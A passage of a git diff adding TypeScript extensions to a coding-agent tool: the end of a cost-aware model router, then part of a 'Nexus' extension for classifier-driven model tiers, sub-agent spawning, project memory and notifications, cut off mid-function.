totalToolCalls: number; + totalErrors: number; + tierHistory: Array<{ tier: number; reason: string; turn: number }>; + turnCount: number; + savedVsAlwaysOpus: number; + classifierCost: number; +} + +// ── Extension ────────────────────────────────────────────────────────────── + +export default function modelRouter(pi: ExtensionAPI) { + const state: RouterState = { + currentTier: 1, + locked: false, + totalSwitches: 0, + turnsSinceLast: 0, + consecutiveErrors: 0, + toolCallsThisTurn: 0, + editWriteThisTurn: 0, + totalToolCalls: 0, + totalErrors: 0, + tierHistory: [], + turnCount: 0, + savedVsAlwaysOpus: 0, + classifierCost: 0, + }; + + async function switchToTier(tierIndex: number, reason: string, ctx?: ExtensionContext) { + const clamped = Math.max(0, Math.min(2, tierIndex)); + if (clamped === state.currentTier) return; + const tier = TIERS[clamped]; + const model = ctx?.modelRegistry.find(tier.provider, tier.modelId); + if (!model) return; + const success = await pi.setModel(model); + if (!success) return; + pi.setThinkingLevel(tier.thinking); + const prev = state.currentTier; + state.currentTier = clamped; + state.totalSwitches++; + state.turnsSinceLast = 0; + state.tierHistory.push({ + tier: clamped, + reason: `${TIERS[prev].icon}→${tier.icon} ${reason}`, + turn: state.turnCount, + }); + } + + // ── LLM Classification on every prompt ───────────────────────────────── + + pi.on("before_agent_start", async (event, ctx) => { + if (state.locked) return; + + ctx.ui.setWorkingMessage("classifying..."); + const result = await classify(event.prompt, ctx); + ctx.ui.setWorkingMessage(); + + // Track classifier cost (~180 tokens per call at Haiku rates) + state.classifierCost += (150 * 0.80 + 30 * 4.00) / 1_000_000; + + let target = result.tier - 1; // 1-3 → 0-2 + + // Context-aware overrides + if (target === 0 && state.totalToolCalls > 10) target = 1; + if (state.consecutiveErrors >= 2 && target < 2) target = Math.min(target + 1, 2); + + if (target !== state.currentTier) { + await switchToTier(target, result.reason, ctx); + } + }); + + // ── Turn & Tool Tracking ─────────────────────────────────────────────── + + pi.on("turn_start", async () => { + state.toolCallsThisTurn = 0; + state.editWriteThisTurn = 0; + state.turnCount++; + state.turnsSinceLast++; + }); + + pi.on("tool_execution_start", async (event) => { + state.toolCallsThisTurn++; + state.totalToolCalls++; + if (event.toolName === "edit" || event.toolName === "write") state.editWriteThisTurn++; + }); + + pi.on("tool_execution_end", async (event, ctx) => { + if (event.isError) { + state.consecutiveErrors++; + state.totalErrors++; + if (state.consecutiveErrors >= 2 && !state.locked && state.currentTier < 2) { + await switchToTier(state.currentTier + 1, `${state.consecutiveErrors} errors`, ctx); + } + } else { + state.consecutiveErrors = 0; + } + }); + + pi.on("turn_end", async (_event, ctx) => { + if (!state.locked) { + if (state.editWriteThisTurn >= 4 && state.currentTier < 2) { + await switchToTier(2, `heavy: ${state.editWriteThisTurn} edits`, ctx); + } else if (state.toolCallsThisTurn >= 6 && state.currentTier < 1) { + await switchToTier(1, `busy: ${state.toolCallsThisTurn} tools`, ctx); + } + } + const opusCost = (2000 * TIERS[2].inputCost + 1000 * TIERS[2].outputCost) / 1e6; + const actualCost = (2000 * TIERS[state.currentTier].inputCost + 1000 * TIERS[state.currentTier].outputCost) / 1e6; + state.savedVsAlwaysOpus += opusCost - actualCost; + }); + + // ── Session Start ────────────────────────────────────────────────────── + + pi.on("session_start", async (_event, ctx) => { + applyExtensionDefaults(import.meta.url, ctx); + + const initialTier = TIERS[1]; + const model = ctx.modelRegistry.find(initialTier.provider, initialTier.modelId); + if (model) { + await pi.setModel(model); + pi.setThinkingLevel(initialTier.thinking); + } + + ctx.ui.setFooter((tui, theme, footerData) => { + const unsub = footerData.onBranchChange(() => tui.requestRender()); + return { + dispose: unsub, + invalidate() {}, + render(width: number): string[] { + const tier = TIERS[state.currentTier]; + const lockIcon = state.locked ? " 🔒" : ""; + + let tokIn = 0, tokOut = 0, cost = 0; + for (const entry of ctx.sessionManager.getBranch()) { + if (entry.type === "message" && entry.message.role === "assistant") { + const m = entry.message as AssistantMessage; + tokIn += m.usage.input; + tokOut += m.usage.output; + cost += m.usage.cost.total; + } + } + cost += state.classifierCost; + const fmt = (n: number) => n < 1000 ? `${n}` : `${(n / 1000).toFixed(1)}k`; + const usage = ctx.getContextUsage(); + const pct = usage?.percent ?? 0; + const filled = Math.round(pct / 10) || 1; + + const l1Left = + theme.fg("dim", " ") + + theme.fg("accent", `${tier.icon} ${tier.name}`) + + theme.fg("dim", ` [${tier.thinking}]${lockIcon} `) + + theme.fg("warning", "[") + + theme.fg("success", "#".repeat(filled)) + + theme.fg("dim", "-".repeat(10 - filled)) + + theme.fg("warning", "]") + + theme.fg("dim", " ") + + theme.fg("accent", `${Math.round(pct)}%`); + + const l1Right = + theme.fg("success", `${fmt(tokIn)}`) + + theme.fg("dim", " in ") + + theme.fg("accent", `${fmt(tokOut)}`) + + theme.fg("dim", " out ") + + theme.fg("warning", `$${cost.toFixed(4)}`) + + theme.fg("dim", " "); + + const pad1 = " ".repeat(Math.max(1, width - visibleWidth(l1Left) - visibleWidth(l1Right))); + const line1 = truncateToWidth(l1Left + pad1 + l1Right, width, ""); + + const dir = basename(ctx.cwd); + const branch = footerData.getGitBranch(); + const lastReason = state.tierHistory.length > 0 + ? state.tierHistory[state.tierHistory.length - 1].reason + : "start: balanced"; + + const l2Left = + theme.fg("dim", ` ${dir}`) + + (branch ? theme.fg("dim", " ") + theme.fg("warning", "(") + theme.fg("success", branch) + theme.fg("warning", ")") : "") + + theme.fg("dim", " · ") + + theme.fg("accent", `${state.totalSwitches}`) + + theme.fg("dim", " switches") + + (state.savedVsAlwaysOpus > 0 ? theme.fg("dim", " · saved ") + theme.fg("success", `$${state.savedVsAlwaysOpus.toFixed(4)}`) : ""); + + const l2Right = theme.fg("dim", truncateToWidth(lastReason, Math.floor(width * 0.4), "…") + " "); + + const pad2 = " ".repeat(Math.max(1, width - visibleWidth(l2Left) - visibleWidth(l2Right))); + const line2 = truncateToWidth(l2Left + pad2 + l2Right, width, ""); + + return [line1, line2]; + }, + }; + }); + + ctx.ui.notify( + `Model Router active — LLM-powered (Haiku classifier)\n` + + `Start: ${TIERS[1].icon} ${TIERS[1].name} · Auto-routes per prompt\n` + + `/router — Status & controls`, + "info", + ); + }); + + // ── /router Command ──────────────────────────────────────────────────── + + pi.registerCommand("router", { + description: "Model router status & controls. Usage: /router [lock|unlock|tier 1|2|3]", + async handler(args: string, ctx) { + const parts = args.trim().split(/\s+/); + const sub = parts[0]?.toLowerCase(); + + if (sub === "lock") { state.locked = true; ctx.ui.notify("🔒 Locked", "info"); return; } + if (sub === "unlock") { state.locked = false; ctx.ui.notify("🔓 Unlocked", "info"); return; } + if (sub === "tier") { + const n = parseInt(parts[1], 10); + if (n >= 1 && n <= 3) { + await switchToTier(n - 1, `manual /router tier ${n}`, ctx); + ctx.ui.notify(`${TIERS[n - 1].icon} ${TIERS[n - 1].name}`, "info"); + return; + } + ctx.ui.notify("Usage: /router tier 1|2|3", "warning"); return; + } + + const tier = TIERS[state.currentTier]; + const history = state.tierHistory.length > 0 + ? state.tierHistory.slice(-5).map(h => ` Turn ${h.turn}: ${h.reason}`).join("\n") + : " (none)"; + + pi.sendMessage({ + customType: "router-status", + content: [ + ``, + ` ┌─── Model Router (LLM-powered) ───┐`, + ` │ Current: ${tier.icon} ${tier.name.padEnd(22)}│`, + ` │ Thinking: ${tier.thinking.padEnd(21)}│`, + ` │ Locked: ${(state.locked ? "yes 🔒" : "no").padEnd(23)}│`, + ` │ Switches: ${String(state.totalSwitches).padEnd(21)}│`, + ` │ Turns: ${String(state.turnCount).padEnd(23)}│`, + ` │ Tool calls: ${String(state.totalToolCalls).padEnd(18)}│`, + ` │ Errors: ${String(state.totalErrors).padEnd(22)}│`, + ` │ Saved vs Opus: $${state.savedVsAlwaysOpus.toFixed(4).padEnd(14)}│`, + ` │ Classifier cost: $${state.classifierCost.toFixed(4).padEnd(12)}│`, + ` └────────────────────────────────────┘`, + ``, + ` Recent routing:`, + history, + ``, + ` /router lock | unlock | tier 1|2|3`, + ``, + ].join("\n"), + display: "assistant", + }); + }, + }); +} diff --git a/extensions/nexus.ts b/extensions/nexus.ts new file mode 100644 index 0000000..3d1706a --- /dev/null +++ b/extensions/nexus.ts @@ -0,0 +1,1446 @@ +/** + * Nexus — The unified Pi intelligence layer v2 + * + * Combines model routing + sub-agent orchestration into one seamless system. + * The main agent stays fast and interactive. Complex work is automatically + * offloaded to sub-agents. The model auto-adapts to task complexity. + * + * New in v2: + * ✦ Context Bridge — sub-agents get conversation context preamble + * ✦ Persistent memory (.pi/memory.md) injected into every turn + * ✦ nexus_remember — store project facts mid-session + * ✦ nexus_plan — decompose + auto-spawn parallel agents + * ✦ Self-healing sub-agents — auto-retry once on recoverable errors + * ✦ Smart model routing per sub-agent role + * ✦ LLM synthesis in nexus_collect + * ✦ OS notifications with sound + cost + * ✦ Session summary on shutdown + * ✦ /nx plan|memory|retry|chain commands + * + * Usage: + * pi -e extensions/nexus.ts + * + * Commands: + * /nx — Full dashboard + * /nx spawn — Manual sub-agent spawn + * /nx plan — Decompose & spawn optimal agents + * /nx memory — Show .pi/memory.md + * /nx retry — Manually retry failed agent + * /nx chain — Continue agent with new task + * /nx kill — Kill sub-agent + * /nx clear — Clear all sub-agents + * /nx mode — interactive | hybrid | delegator + * /nx auto on|off — Toggle auto-delegation + * /nx lock — Lock model (disable auto-routing) + * /nx unlock — Unlock model + * /nx tier 1|2|3 — Force model tier + */ + +import type { AssistantMessage as AssistantMsg } from "@mariozechner/pi-ai"; +import { complete } from "@mariozechner/pi-ai"; +import type { ExtensionAPI, ExtensionContext } from "@mariozechner/pi-coding-agent"; +import { DynamicBorder } from "@mariozechner/pi-coding-agent"; +import { Container, Text, truncateToWidth, visibleWidth, type AutocompleteItem } from "@mariozechner/pi-tui"; +import { Type } from "@sinclair/typebox"; +import { execSync, spawn as cpSpawn, type ChildProcess } from "child_process"; +import { existsSync, mkdirSync, readdirSync, readFileSync, writeFileSync } from "fs"; +import { basename, join } from "path"; +import { applyExtensionDefaults } from "./themeMap.ts"; + +// ══════════════════════════════════════════════════════════════════════════ +// CONSTANTS +// ══════════════════════════════════════════════════════════════════════════ + +const AGENT_TIMEOUT_MS = 10 * 60 * 1000; +const WIDGET_THROTTLE_MS = 400; +const CONTEXT_WARN_PCT = 70; +const MAX_RESULT_LEN = 12000; +const MEMORY_FILE = ".pi/memory.md"; +const SESSIONS_DIR = ".pi/sessions"; + +// ══════════════════════════════════════════════════════════════════════════ +// MODEL TIERS +// ══════════════════════════════════════════════════════════════════════════ + +interface Tier { + name: string; + icon: string; + provider: string; + modelId: string; + thinking: "off" | "low" | "medium" | "high"; + inputCost: number; + outputCost: number; +} + +const TIERS: Tier[] = [ + { name: "Haiku", icon: "⚡", provider: "anthropic", modelId: "claude-haiku-4-5", thinking: "off", inputCost: 0.80, outputCost: 4.00 }, + { name: "Sonnet", icon: "⚖️", provider: "anthropic", modelId: "claude-sonnet-4-6", thinking: "low", inputCost: 3.00, outputCost: 15.00 }, + { name: "Opus", icon: "🧠", provider: "anthropic", modelId: "claude-opus-4-6", thinking: "high", inputCost: 15.00, outputCost: 75.00 }, +]; + +// ══════════════════════════════════════════════════════════════════════════ +// SMART MODEL ROUTING FOR SUB-AGENTS +// ══════════════════════════════════════════════════════════════════════════ + +function selectSubAgentModel(role: string, task: string): string { + const r = role.toLowerCase(); + const t = task.toLowerCase(); + if (r === "scout" || r === "reviewer") return "anthropic/claude-haiku-4-5"; + if (/architect|design|security audit|security review|threat model/.test(t)) return "anthropic/claude-opus-4-6"; + return "anthropic/claude-sonnet-4-6"; // general, builder, tester +} + +// ══════════════════════════════════════════════════════════════════════════ +// MEMORY HELPERS +// ══════════════════════════════════════════════════════════════════════════ + +function readMemory(cwd: string): string { + const p = join(cwd, MEMORY_FILE); + return existsSync(p) ? readFileSync(p, "utf-8") : ""; +} + +function updateMemory(cwd: string, key: string, value: string, mode: "append" | "replace" = "replace"): void { + const p = join(cwd, MEMORY_FILE); + const dir = join(cwd, ".pi"); + if (!existsSync(dir)) mkdirSync(dir, { recursive: true }); + let content = existsSync(p) ? readFileSync(p, "utf-8") : ""; + + const heading = `## ${key}`; + const idx = content.indexOf(heading); + if (idx === -1) { + // Append new section + content = content.trimEnd() + `\n\n${heading}\n${value}\n`; + } else { + // Find end of section (next ## or EOF) + const nextSection = content.indexOf("\n## ", idx + heading.length); + const sectionEnd = nextSection === -1 ? content.length : nextSection; + if (mode === "replace") { + content = content.slice(0, idx) + `${heading}\n${value}\n` + content.slice(sectionEnd); + } else { + // Append within section + const insert = sectionEnd === content.length ? content.length : sectionEnd; + content = content.slice(0, insert) + `\n${value}` + content.slice(insert); + } + } + writeFileSync(p, content, "utf-8"); +} + +// ══════════════════════════════════════════════════════════════════════════ +// CONTEXT BRIDGE +// ══════════════════════════════════════════════════════════════════════════ + +async function buildContextBridge(ctx: ExtensionContext, task: string): Promise { + const MAX_CHARS = 3000; + const parts: string[] = []; + + // Recent conversation turns + const branch = ctx.sessionManager.getBranch(); + const recent = branch.slice(-12).filter((e: any) => e.type === "message"); + const turns: string[] = []; + for (const entry of recent) { + const msg = (entry as any).message; + const textContent = Array.isArray(msg.content) + ? msg.content.filter((c: any) => c.type === "text").map((c: any) => c.text).join("") + : String(msg.content || ""); + if (!textContent.trim()) continue; + const label = msg.role === "user" ? "User" : "Assistant"; + turns.push(`${label}: ${textContent.slice(0, 400)}`); + } + if (turns.length > 0) { + parts.push(`[CONVERSATION CONTEXT]\n${turns.slice(-6).join("\n\n")}`); + } + + // Key Facts + let gitBranch = "unknown"; + let fileList = ""; + try { gitBranch = execSync("git branch --show-current", { cwd: ctx.cwd, stdio: ["ignore", "pipe", "ignore"] }).toString().trim(); } catch {} + try { + fileList = execSync("ls -la", { cwd: ctx.cwd, stdio: ["ignore", "pipe", "ignore"] }) + .toString().trim().split("\n").slice(0, 20).join("\n"); + } catch {} + + const keyFacts = [ + `cwd: ${ctx.cwd}`, + `git branch: ${gitBranch}`, + fileList ? `\nFiles:\n${fileList}` : "", + ].filter(Boolean).join("\n"); + parts.push(`[KEY FACTS]\n${keyFacts}`); + + const preamble = parts.join("\n\n"); + const capped = preamble.length > MAX_CHARS ? preamble.slice(0, MAX_CHARS) + "\n...[truncated]" : preamble; + return `${capped}\n\n[TASK]\n${task}`; +} + +// ══════════════════════════════════════════════════════════════════════════ +// LLM-POWERED TASK CLASSIFIER +// ══════════════════════════════════════════════════════════════════════════ + +const CLASSIFIER_SYSTEM_PROMPT = `You are a task complexity classifier for a coding assistant. Given a user prompt, respond with ONLY a JSON object (no markdown, no explanation): + +{"tier": <1|2|3>, "thinking": "", "offload": , "reason": ""} + +Classification rules: + +TIER 1 (simple — use cheapest model): +- Quick questions, yes/no answers, explanations +- Reading/viewing files, checking status, listing things +- Small single-line edits, formatting, renaming +- Conversational responses (thanks, ok, etc.) +- Simple lookups or searches + +TIER 2 (medium — use balanced model): +- Writing new functions, classes, or components +- Debugging, fixing bugs, error resolution +- Refactoring single files +- Writing tests for specific code +- Database queries, API endpoint creation +- Docker/CI configuration changes + +TIER 3 (complex — use most powerful model): +- Architecture design, system planning +- Multi-file refactoring or migrations +- Security audits, performance optimization +- Complex algorithmic problems +- Designing new systems from scratch +- Tasks requiring deep reasoning or trade-off analysis + +THINKING LEVEL: +- "off" → Simple/conversational. +- "low" → Moderate task. +- "medium" → Tricky bug, subtle logic, multi-step plan. +- "high" → Architecture, security audit, complex algorithm. + +OFFLOAD (spawn sub-agent instead of inline): +- Set true when the task would generate lots of context (multi-file changes, codebase-wide operations) +- Set true when the task is independent and can run in background +- Set true when "across all files", "entire codebase", parallel work is mentioned +- Set false for conversational, quick, or interactive tasks +- Set false when user needs immediate back-and-forth + +AGENT LIMITS: +- Max recommended concurrent agents: 3 +- If already at 3+ running agents, prefer offload=false unless critical. + +Be concise. The "reason" should be under 10 words.`; + +interface ClassificationResult { + tier: number; + thinking: "off" | "low" | "medium" | "high"; + offload: boolean; + reason: string; +} + +const classificationCache = new Map(); +const CACHE_TTL_MS = 60_000; + +async function classifyWithLLM( + prompt: string, + ctx: ExtensionContext, + contextPercent: number | null, + activeAgentCount: number, + memorySnippet: string, +): Promise { + const cacheKey = prompt.trim().toLowerCase().slice(0, 200); + const cached = classificationCache.get(cacheKey); + if (cached && Date.now() - cached.timestamp < CACHE_TTL_MS) return cached.result; + + const classifier = ctx.modelRegistry.find("anthropic", "claude-haiku-4-5"); + if (!classifier) return { tier: 2, thinking: "low", offload: false, reason: "classifier unavailable" }; + + const apiKey = await ctx.modelRegistry.getApiKey(classifier); + if (!apiKey) return { tier: 2, thinking: "low", offload: false, reason: "no API key" }; + + let userMsg = prompt; + const notes: string[] = []; + if (contextPercent !== null && contextPercent > CONTEXT_WARN_PCT) { + notes.push(`Main context at ${Math.round(contextPercent)}% — prefer offload=true for heavy tasks.`); + } + if (activeAgentCount >= 3) { + notes.push(`Already ${activeAgentCount} running agents — prefer offload=false unless critical.`); + } + if (memorySnippet) { + notes.push(`Tech context from memory: ${memorySnippet.slice(0, 200)}`); + } + if (notes.length > 0) userMsg += `\n\n[SYSTEM NOTES]\n${notes.join("\n")}`; + + try { + const response = await complete(classifier, { + systemPrompt: CLASSIFIER_SYSTEM_PROMPT, + messages: [{ role: "user" as const, content: userMsg, timestamp: Date.now() }], + }, { reasoning: "off" }); + + const text = response.content + .filter((c): c is { type: "text"; text: string } => c.type === "text") + .map(c => c.text).join(""); + + const jsonStr = text.replace(/```json?\n?/g, "").replace(/```/g, "").trim(); + const parsed = JSON.parse(jsonStr); + const validThinking = ["off", "low", "medium", "high"]; + const result: ClassificationResult = { + tier: Math.max(1, Math.min(3, parsed.tier || 2)), + thinking: validThinking.includes(parsed.thinking) ? parsed.thinking : "low", + offload: Boolean(parsed.offload), + reason: String(parsed.reason || "classified").slice(0, 50), + }; + classificationCache.set(cacheKey, { result, timestamp: Date.now() }); + return result; + } catch (err: any) { + return { tier: 2, thinking: "low", offload: false, reason: `classify error: ${err?.message?.slice(0, 30)}` }; + } +} + +// ══════════════════════════════════════════════════════════════════════════ +// SUB-AGENT TYPES +// ══════════════════════════════════════════════════════════════════════════ + +type AgentMode = "interactive" | "delegator" | "hybrid"; +type SubStatus = "queued" | "running" | "done" | "error" | "killed"; + +interface SubAgent { + id: number; + status: SubStatus; + task: string; + role: string; + tools: string; + textChunks: string[]; + toolCount: number; + elapsed: number; + startTime: number; + sessionFile: string; + turnCount: number; + proc?: ChildProcess; + timer?: ReturnType; + inputTokens: number; + outputTokens: number; + cost: number; + retryCount: number; + lastError?: string; +} + +interface RoleDef { + name: string; + description: string; + tools: string; + systemPrompt: string; +} + +const ROLES: RoleDef[] = [ + { name: "general", description: "General-purpose coding agent", tools: "read,bash,edit,write,grep,find,ls", systemPrompt: "You are a focused coding agent. Complete the given task efficiently. Be thorough but concise." }, + { name: "scout", description: "Fast recon (read-only)", tools: "read,grep,find,ls", systemPrompt: "You are a scout. Investigate the codebase quickly and report findings. Do NOT modify files." }, + { name: "builder", description: "Implementation & code generation", tools: "read,write,edit,bash,grep,find,ls", systemPrompt: "You are a builder. Implement changes thoroughly. Clean, minimal code. Follow existing patterns." }, + { name: "reviewer", description: "Code review (read-only)", tools: "read,grep,find,ls", systemPrompt: "You are a reviewer. Analyze code for bugs, security, performance, style. Be specific about line numbers." }, + { name: "tester", description: "Test writing & execution", tools: "read,write,edit,bash,grep,find,ls", systemPrompt: "You are a tester. Write and run tests. Cover edge cases. Use the project's existing test framework." }, +]; + +// ══════════════════════════════════════════════════════════════════════════ +// EXTENSION +// ══════════════════════════════════════════════════════════════════════════ + +export default function nexus(pi: ExtensionAPI) { + + // ── Router State ─────────────────────────────────────────────────────── + + let currentTier = 1; + let lastThinking: "off" | "low" | "medium" | "high" = "low"; + let tierLocked = false; + let totalSwitches = 0; + let turnsSinceSwitch = 0; + let consecutiveErrors = 0; + let totalToolCalls = 0; + let editWriteThisTurn = 0; + let toolsThisTurn = 0; + let turnCount = 0; + let savedVsOpus = 0; + let classifierCost = 0; + const tierHistory: Array<{ tier: number; reason: string; turn: number }> = []; + + // ── Agent State ──────────────────────────────────────────────────────── + + const agents: Map = new Map(); + const activeProcs: Set = new Set(); + let nextId = 1; + let widgetCtx: ExtensionContext | null = null; + let mode: AgentMode = "hybrid"; + let autoDelegate = true; + let sessionDir = ""; + let customRoles: RoleDef[] = []; + let projectMemory = ""; + let cwdGlobal = ""; + let sessionStartTime = Date.now(); + + // ── Widget throttle ──────────────────────────────────────────────────── + + let wDirty = false; + let wTimer: ReturnType | null = null; + + function scheduleWidget() { + wDirty = true; + if (wTimer) return; + wTimer = setTimeout(() => { wTimer = null; if (wDirty) { wDirty = false; renderWidget(); } }, WIDGET_THROTTLE_MS); + } + + function flushWidget() { + if (wTimer) { clearTimeout(wTimer); wTimer = null; } + wDirty = false; + renderWidget(); + } + + // ── Helpers ──────────────────────────────────────────────────────────── + + function getAllRoles(): RoleDef[] { return [...ROLES, ...customRoles]; } + + function findRole(name: string): RoleDef { + return getAllRoles().find(r => r.name.toLowerCase() === name.toLowerCase()) || ROLES[0]; + } + + function makeSessionFile(id: number): string { + if (!existsSync(sessionDir)) mkdirSync(sessionDir, { recursive: true }); + return join(sessionDir, `nexus-${id}-${Date.now()}.jsonl`); + } + + function loadCustomRoles(cwd: string) { + customRoles = []; + const seen = new Set(ROLES.map(r => r.name)); + for (const dir of [join(cwd, ".pi", "agents"), join(cwd, "agents")]) { + if (!existsSync(dir)) continue; + try { + for (const file of readdirSync(dir)) { + if (!file.endsWith(".md")) continue; + const raw = readFileSync(join(dir, file), "utf-8"); + const m = raw.match(/^---\n([\s\S]*?)\n---\n([\s\S]*)$/); + if (!m) continue; + const fm: Record = {}; + for (const line of m[1].split("\n")) { + const i = line.indexOf(":"); + if (i > 0) fm[line.slice(0, i).trim()] = line.slice(i + 1).trim(); + } + if (!fm.name || seen.has(fm.name)) continue; + seen.add(fm.name); + customRoles.push({ name: fm.name, description: fm.description || "", tools: fm.tools || "read,grep,find,ls", systemPrompt: m[2].trim() }); + } + } catch {} + } + } + + // ── Model Switching ──────────────────────────────────────────────────── + + async function switchTier(target: number, reason: string, ctx?: ExtensionContext, thinkingOverride?: "off" | "low" | "medium" | "high") { + const t = Math.max(0, Math.min(2, target)); + const tier = TIERS[t]; + const model = ctx?.modelRegistry.find(tier.provider, tier.modelId); + if (!model) return; + + const thinking = thinkingOverride ?? tier.thinking; + const tierChanged = t !== currentTier; + const thinkingChanged = thinking !== lastThinking; + if (!tierChanged && !thinkingChanged) return; + + if (tierChanged) { + const ok = await pi.setModel(model); + if (!ok) return; + } + pi.setThinkingLevel(thinking); + lastThinking = thinking; + + const prev = currentTier; + currentTier = t; + if (tierChanged) totalSwitches++; + turnsSinceSwitch = 0; + const thinkTag = thinkingOverride ? ` 🧠${thinking}` : ""; + tierHistory.push({ tier: t, reason: `${TIERS[prev].icon}→${tier.icon} ${reason}${thinkTag}`, turn: turnCount }); + } + + // ── Widget Rendering ─────────────────────────────────────────────────── + + function renderWidget() { + if (!widgetCtx) return; + if (agents.size === 0) { + widgetCtx.ui.setWidget("nexus-agents", undefined); + return; + } + + widgetCtx.ui.setWidget("nexus-agents", (_tui: any, theme: any) => { + const container = new Container(); + const content = new Text("", 0, 0); + container.addChild(content); + + return { + render(width: number): string[] { + const lines: string[] = []; + const tier = TIERS[currentTier]; + const modeIcon = mode === "hybrid" ? "⚡" : mode === "delegator" ? "📡" : "💬"; + + lines.push(theme.fg("dim", "─".repeat(width))); + lines.push( + theme.fg("accent", ` ✦ Nexus`) + + theme.fg("dim", ` ${tier.icon} ${tier.name} · ${modeIcon} ${mode} · `) + + theme.fg("accent", `${agents.size}`) + + theme.fg("dim", " agents") + ); + + for (const [, a] of agents) { + const icon = a.status === "running" ? "●" : a.status === "done" ? "✓" : a.status === "queued" ? "◌" : "✗"; + const color = a.status === "running" ? "accent" : a.status === "done" ? "success" : a.status === "queued" ? "dim" : "error"; + const elapsed = a.status === "running" ? Math.round((Date.now() - a.startTime) / 1000) : Math.round(a.elapsed / 1000); + const task = a.task.length > 50 ? a.task.slice(0, 47) + "..." : a.task; + const turn = a.turnCount > 1 ? ` t${a.turnCount}` : ""; + const retry = a.retryCount > 0 ? ` ↺${a.retryCount}` : ""; + + lines.push( + theme.fg(color, ` ${icon} #${a.id}`) + + theme.fg("dim", ` [${a.role}${turn}${retry}] ${elapsed}s · ${a.toolCount} tools`) + + (a.cost > 0 ? theme.fg("warning", ` $${a.cost.toFixed(4)}`) : "") + ); + lines.push(theme.fg("muted", ` ${task}`)); + + if (a.status === "running" && a.textChunks.length > 0) { + const last = a.textChunks.join("").split("\n").filter((l: string) => l.trim()).pop() || ""; + if (last) lines.push(theme.fg("dim", ` → ${last.slice(0, width - 8)}`)); + } + } + + lines.push(theme.fg("dim", "─".repeat(width))); + content.setText(lines.join("\n")); + return container.render(width); + }, + invalidate() { container.invalidate(); }, + }; + }); + } + + // ── Sub-Agent Process ────────────────────────────────────────────────── + + function processLine(a: SubAgent, line: string) { + if (!line.trim()) return; + try { + const e = JSON.parse(line); + if (e.type === "message_update" && e.assistantMessageEvent?.type === "text_delta") { + a.textChunks.push(e.assistantMessageEvent.delta || ""); + scheduleWidget(); + } else if (e.type === "tool_execution_start") { + a.toolCount++; + scheduleWidget(); + } else if (e.type === "message_end" || e.type === "agent_end") { + const msg = e.message || (e.messages || []).reverse().find((m: any) => m.role === "assistant"); + if (msg?.usage) { + a.inputTokens = msg.usage.input || 0; + a.outputTokens = msg.usage.output || 0; + a.cost = msg.usage.cost?.total || 0; + scheduleWidget(); + } + } + } catch {} + } + + function spawnProcess(a: SubAgent, prompt: string, _ctx: ExtensionContext, isCont: boolean): Promise<{ output: string; exitCode: number }> { + a.status = "running"; + a.startTime = Date.now(); + scheduleWidget(); + + const role = findRole(a.role); + const model = selectSubAgentModel(a.role, a.task); + + const args = [ + "--mode", "json", "-p", "--no-extensions", "--no-skills", + "--model", model, "--tools", role.tools, "--thinking", "low", + "--append-system-prompt", role.systemPrompt, + "--session", a.sessionFile, + ]; + if (isCont) args.push("-c"); + args.push(prompt); + + return new Promise(resolve => { + let done = false; + const fin = (val: { output: string; exitCode: number }) => { if (!done) { done = true; resolve(val); } }; + + const proc = cpSpawn("pi", args, { stdio: ["ignore", "pipe", "pipe"], env: { ...process.env } }); + a.proc = proc; + activeProcs.add(proc); + + a.timer = setInterval(() => { a.elapsed = Date.now() - a.startTime; scheduleWidget(); }, 1000); + + const timeout = setTimeout(() => { + try { proc.kill("SIGTERM"); } catch {} + setTimeout(() => { try { proc.kill("SIGKILL"); } catch {} }, 3000); + }, AGENT_TIMEOUT_MS); + + let buf = ""; + proc.stdout!.setEncoding("utf-8"); + proc.stdout!.on("data", (chunk: string) => { + buf += chunk; + const lines = buf.split("\n"); + buf = lines.pop() || ""; + for (const l of lines) processLine(a, l); + }); + proc.stderr!.setEncoding("utf-8"); + proc.stderr!.on("data", () => {}); + + proc.on("close", code => { + clearTimeout(timeout); + activeProcs.delete(proc); + a.proc = undefined; + if (a.timer) clearInterval(a.timer); + a.elapsed = Date.now() - a.startTime; + if (buf.trim()) processLine(a, buf); + a.status = a.elapsed >= AGENT_TIMEOUT_MS ? "error" : (code === 0 ? "done" : "error"); + flushWidget(); + fin({ output: a.textChunks.join(""), exitCode: code ?? 1 }); + }); + + proc.on("error", err => { + clearTimeout(timeout); + activeProcs.delete(proc); + a.proc = undefined; + if (a.timer) clearInterval(a.timer); + a.status = "error"; + flushWidget(); + fin({ output: `Error: ${err.message}`, exitCode: 1 }); + }); + }); + } + + function notifyOS(title: string, message: string, status: "success" | "error" | "info" = "info") { + const sound = status === "error" ? "Basso" : "Glass"; + try { + cpSpawn("osascript", [ + "-e", + `display notification "${message.replace(/"/g, '\\"')}" with title "${title.replace(/"/g, '\\"')}" sound name "${sound}"`, + ], { stdio: "ignore", detached: true }).unref(); + } catch {} + process.stdout.write("\x07"); + } + + async function autoExtractMemory(output: string, task: string, ctx: ExtensionContext): Promise { + if (!output || output.length < 100) return; + const haiku = ctx.modelRegistry.find("anthropic", "claude-haiku-4-5"); + if (!haiku) return; + const apiKey = await ctx.modelRegistry.getApiKey(haiku); + if (!apiKey) return; + try { + const response = await complete(haiku, { + systemPrompt: `Extract key technical facts from this agent output that would be useful to remember for future sessions. Focus on: tech stack discovered, bugs fixed, architectural decisions, file structure, conventions. Output ONLY a JSON object: {"key": "category_name", "value": "concise fact"} or null if nothing worth remembering.`, + messages: [{ role: "user" as const, content: `Task: ${task}\n\nOutput:\n${output.slice(0, 3000)}`, timestamp: Date.now() }], + }, { reasoning: "off" }); + const text = response.content.filter((c): c is { type: "text"; text: string } => c.type === "text").map(c => c.text).join("").trim(); + const jsonStr = text.replace(/```json?\n?/g, "").replace(/```/g, "").trim(); + if (jsonStr === "null" || !jsonStr) return; + const parsed = JSON.parse(jsonStr); + if (parsed?.key && parsed?.value) { + updateMemory(ctx.cwd, parsed.key, parsed.value, "append"); + projectMemory = readMemory(ctx.cwd); + } + } catch {} + } + + function isRecoverableError(output: string): boolean { + const lower = output.slice(-500).toLowerCase(); + return ( + lower.includes("file not found") || + lower.includes("no such file") || + lower.includes("command not found") || + lower.includes("enoent") || + lower.includes("timeout") || + lower.includes("connection refused") || + lower.includes("permission denied") + ); + } + + function spawnAndDeliver(a: SubAgent, prompt: string, ctx: ExtensionContext, isCont: boolean) { + spawnProcess(a, prompt, ctx, isCont).then(async ({ output, exitCode }) => { + // Self-healing: retry once on recoverable errors + if (exitCode !== 0 && a.retryCount === 0 && isRecoverableError(output)) { + const errorSnippet = output.slice(-500); + a.retryCount = 1; + a.lastError = errorSnippet; + a.textChunks = []; + a.toolCount = 0; + a.status = "queued"; + 